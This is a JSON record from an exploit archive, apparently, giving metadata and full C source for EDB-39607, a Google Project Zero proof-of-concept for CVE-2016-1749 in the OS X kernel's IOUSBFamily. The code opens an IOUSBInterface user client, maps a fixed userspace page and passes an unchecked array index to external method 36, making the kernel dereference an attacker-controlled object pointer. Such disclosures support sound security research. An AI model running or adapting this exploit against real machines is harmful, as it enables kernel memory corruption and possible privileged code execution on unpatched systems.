{"exploit":{"id":"EDB-39607","name":"Apple Mac OSX Kernel - Code Execution Due to Lack of Bounds Checking in 'AppleUSBPipe::Abort'","description":"Apple Mac OSX Kernel - Code Execution Due to Lack of Bounds Checking in 'AppleUSBPipe::Abort'","cves":["CVE-2016-1749"],"author":"Google Security Research","published":"2016-03-23","platform":"osx","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39607","path":"exploits/osx/dos/39607.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39607.c","vulnerabilities":[{"id":"CVE-2016-1749","state":"PUBLISHED","title":null,"titleSource":null,"description":"IOUSBFamily in Apple OS X before 10.11.4 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-1749","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-1749"},"updatedAt":"2024-08-05T23:10:39.368Z","retrievedAt":"2026-11-27T09:18:56.092Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39607.png?v=2","url":"https://exploitbin.com/exploits/EDB-39607","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39607/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39607/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=728\n\nExternal Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe.\n\nIt takes two scalar inputs and uses the second one as an array index to read a pointer\nto a C++ object without checking the bounds then calls a virtual method on it.\n\nFurthermore there's no check that the array pointer is non-null; if it is then we can get a\ncontrolled offset-from-zero read; since our controlled dword will be multiplied by 8 to\nindex the array this means we can easily get the kernel to dereference a controllable\nuserspace address.\n\nIn this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from\n0x787878780. This poc maps that page to demonstrate control of a kernel object pointer.\n\ntested on MacBookAir5,2  w/10.11.3 (15D21)\n*/\n\n// ianbeer\n\n// build: clang -o usb_oob usb_oob.c -framework IOKit\n// tested on MacBookAir5,2  w/10.11.3 (15D21)\n\n/*\nOS X Kernel code execution due to lack of bounds checking in AppleUSBPipe::Abort\n\nExternal Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe.\n\nIt takes two scalar inputs and uses the second one as an array index to read a pointer\nto a C++ object without checking the bounds then calls a virtual method on it.\n\nFurthermore there's no check that the array pointer is non-null; if it is then we can get a\ncontrolled offset-from-zero read; since our controlled dword will be multiplied by 8 to\nindex the array this means we can easily get the kernel to dereference a controllable\nuserspace address.\n\nIn this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from\n0x787878780. This poc maps that page to demonstrate control of a kernel object pointer.\n*/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n\n#include <mach/mach.h>\n#include <mach/vm_map.h>\n\n#include <IOKit/IOKitLib.h>\n\nvoid map_payload(uint64_t target_rip) {\n  uint64_t*** obj_ptr_ptr = (void*)0x0000000787878780;\n  void* request           = (void*)0x0000000787878000;\n  void* page = mmap(request, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);\n  if (request != page) {\n    printf(\"MAP_FIXED didn't give us the right page\\n\");\n    exit(EXIT_FAILURE);\n  }\n\n  memset((void*)page, 'A', 0x1000);\n}\n\nuint64_t make_call(mach_port_t conn) {\n  kern_return_t err;\n\n  uint64_t inputScalar[16];\n  uint64_t inputScalarCnt = 0;\n\n  char inputStruct[4096];\n  size_t inputStructCnt = 0;\n\n  uint64_t outputScalar[16];\n  uint32_t outputScalarCnt = 0;\n\n  char outputStruct[4096];\n  size_t outputStructCnt = 0;\n\n  inputScalarCnt = 2;\n  inputScalar[0] = 0;\n  inputScalar[1] = 0xf0f0f0f0;\n\n  err = IOConnectCallMethod(\n   conn,\n   36,\n   inputScalar,\n   inputScalarCnt,\n   inputStruct,\n   inputStructCnt,\n   outputScalar,\n   &outputScalarCnt,\n   outputStruct,\n   &outputStructCnt);\n\n  if (err != KERN_SUCCESS){\n   printf(\"IOConnectCall error: %x\\n\", err);\n  } else{\n    printf(\"worked?\\n\");\n  }\n\n  return 0;\n}\n\nmach_port_t get_user_client(char* name, int type) {\n  kern_return_t err;\n\n  CFMutableDictionaryRef matching = IOServiceMatching(name);\n  if(!matching){\n   printf(\"unable to create service matching dictionary\\n\");\n   return 0;\n  }\n\n  io_iterator_t iterator;\n  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);\n  if (err != KERN_SUCCESS){\n   printf(\"no matches\\n\");\n   return 0;\n  }\n\n  io_service_t service = IOIteratorNext(iterator);\n\n  if (service == IO_OBJECT_NULL){\n   printf(\"unable to find service\\n\");\n   return 0;\n  }\n  printf(\"got service: %x\\n\", service);\n\n\n  io_connect_t conn = MACH_PORT_NULL;\n  err = IOServiceOpen(service, mach_task_self(), type, &conn);\n  if (err != KERN_SUCCESS){\n   printf(\"unable to get user client connection\\n\");\n   return 0;\n  }\n\n  printf(\"got userclient connection: %x\\n\", conn);\n\n  return conn;\n}\n\n\n\nint main(int argc, char** argv){\n  mach_port_t port = get_user_client(\"IOUSBInterface\", 0x0);\n  map_payload(0xffff414141414141);\n  make_call(port);\n  return 0;\n\n}","sha256":"178912bd807a4e9b0bbd70ea18fcae535c8d9f0871af00f72f8ae8516ac7513f","bytes":4030,"fetchedAt":"2026-11-27T09:07:08.137Z","encoding":"utf-8 (display only; download retains original bytes)"}